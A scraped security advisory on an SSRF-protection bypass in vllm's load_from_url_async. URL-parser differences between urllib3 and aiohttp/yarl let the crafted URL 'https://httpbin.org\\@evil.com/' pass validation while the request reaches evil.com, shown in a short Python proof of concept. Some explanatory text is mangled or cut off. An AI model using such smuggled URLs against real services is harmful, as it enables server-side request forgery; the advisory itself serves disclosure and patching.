| Package | Affected versions | Patched versions |
|---|---|---|
| vllm | ≥ 0.15.1, < 0.17.0 | 0.17.0 |
| vllm | ≥ 0.15.1, < 0.17.0 | 0.17.0 |
The SSRF protection fix for https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc can be bypassed in the load_from_url_async method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client.
vllm/connections.pyload_from_url_asyncThe SSRF fix uses urllib3.util.parse_url() to validate and extract the hostname from user-provided URLs. However, load_from_url_async uses aiohttp for making the actual HTTP requests, and aiohttp internally uses the yarl library for URL parsing.
These two URL parsers handle backslash characters (\) differently:
| Parser | Input URL | Parsed Host | Parsed Path | Behavior |
|---|---|---|---|---|
urllib3.parse_url() | https://httpbin.org\@evil.com/ | httpbin.org | /%[email protected]/ | URL-encodes \ as %5C, treats \@evil.com/ as part of the path |
yarl (via aiohttp) | https://httpbin.org\@evil.com/ | evil.com | / | Treats \ as part of userinfo (user: httpbin.org\), the @ acts as the userinfo/host separator |
# Attacker provides this URL
malicious_url = "https://httpbin.org\\@evil.com/"
# 1. Validation layer (urllib3.parse_url)
parsed = urllib3.util.parse_url(malicious_url)
# parsed.host == "httpbin.org" ✅ Passes validation
# 2. Actual request (aiohttp with yarl)
async with aiohttp.ClientSession() as session:
async with session.get(malicious_url) as response:
# Request actually goes to evil.com! ❌ Bypass!
httpbin.org\ as the userinfo component, and @ as the userinfo/host separator, so the URL is parsed as user=httpbin.org\, host=evil.com, path=/%5C, so \@evil.com/ becomes /%[email protected]/ which is treated as part of the path, leaving host=httpbin.orgThis inconsistency allows an attacker to:
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free